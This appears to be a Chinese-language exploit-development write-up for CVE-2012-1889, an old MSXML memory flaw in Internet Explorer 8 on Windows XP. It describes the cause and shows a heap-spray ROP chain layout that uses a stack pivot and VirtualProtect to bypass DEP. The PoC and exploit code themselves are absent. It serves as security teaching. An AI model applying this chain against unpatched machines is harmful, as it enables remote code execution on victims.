软件名称:Internet Explorer 软件版本:8.0 漏洞模块:msxml3.dll 模块版本:8.90.1101.0 编译日期:2008年4月14日 |
操作系统:Windows XP sp3 漏洞编号:CVE-2012-1889(MS12-043) 危害等级:超危 漏洞类型:缓冲区溢出 威胁类型:远程 |
1. 软件简介
Internet Explorer,是微软公司推出的一款网页浏览器。原称Microsoft Internet Explorer(6版本以前)和Windows Internet Explorer(7、8、9、10、11版本),简称IE。在IE7以前,中文直译为“网络探路者”,但在IE7以后官方便直接俗称"IE浏览器"。
msxml指微软的xml语言解析器,用来解释xml语言的。就好像html文本下载到本地,浏览器会检查html的语法,解释html文本然后显示出来一样。要使用xml文件就一定要用到xml parser。
2. 漏洞成因
Microsoft XML Core Services (MSXML)是一组服务,可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。
Microsoft XML Core Services 处理内存中的对象的方式中存在一个远程执行代码漏洞。如果用户查看包含特制内容的网站,则该漏洞可能允许远程执行代码。Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。
3. 利用过程
远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。
4. PoC
使用以下代码保存为html文件,在windbg条件下打开IE浏览器,并运行这个html文件,IE浏览器崩溃。
示例代码:
CVE 2012-1889 PoC v2 By:15PB.Com
点击是
5.Exploit
Step2_Accurate_Heap Spray By:15PB.Com
执行Exploit网页后在msxml3.dll中有以下汇编代码:
mov eax,[ebp-14h] //eax=0c0c0c08h
……
mov esi,eax //esi=0c0c0c08h
……
mov ecx,[eax] //ecx=[0x0c0c0c08] => 0c0c0c0ch
……
call [ecx+18h] //call [0x0c0c0c24]
……
mov eax,[esi] //eax=[0x0c0c0c08] => 0c0c0c0ch
……
call [eax+8h] //call [0x0c0c0c14]
那么根据之前的汇编代码,构建以下Ret2libC:
0x0c0c0c04 0c0c0c0ch
0x0c0c0c08 0c0c0c0ch
0x0c0c0c0C 0c0c0c0ch
0x0c0c0c10 retn Addr <-esp Step_3
0x0c0c0c14 pop exx # retn Addr Step_4(直接执行下下一步)
0x0c0c0c18 xchg eax,esp # retn Addr Step_2(关键步骤)
0x0c0c0c1C retn Addr Step_5
0x0c0c0c20 retn Addr Step_6
0x0c0c0c24 retn Addr Step_1 / Step_7
0x0c0c0c28 VirtualProtect Addr Step_8
0x0c0c0c2C retn to PayLoad (0x0c0c0c40)
0x0c0c0c30 lpAddress (这里写PayLoad地址0x0c0c0c40)
0x0c0c0c34 dwSize (0x1000够了)
0x0c0c0c38 flNewProtect (0x40 可执行可写可读)
0x0c0c0c38 flOldProtect (找一个可以写入的地址就行)
往下面就是PayLoad……
7.结语
触发漏洞的代码是JavaScript中最后一句,即后面obj15PB.definition(0)。definition是DOM对象的一个属性,而且是只读的属性,不可以把属性当作函数来使用并往里面传递参数。
绕过DEP的关键原理就是RETN,在内存中找到你想要执行的代码,布局Ret2LibC,最后构建VirtualProtect,让PayLoad代码段可执行.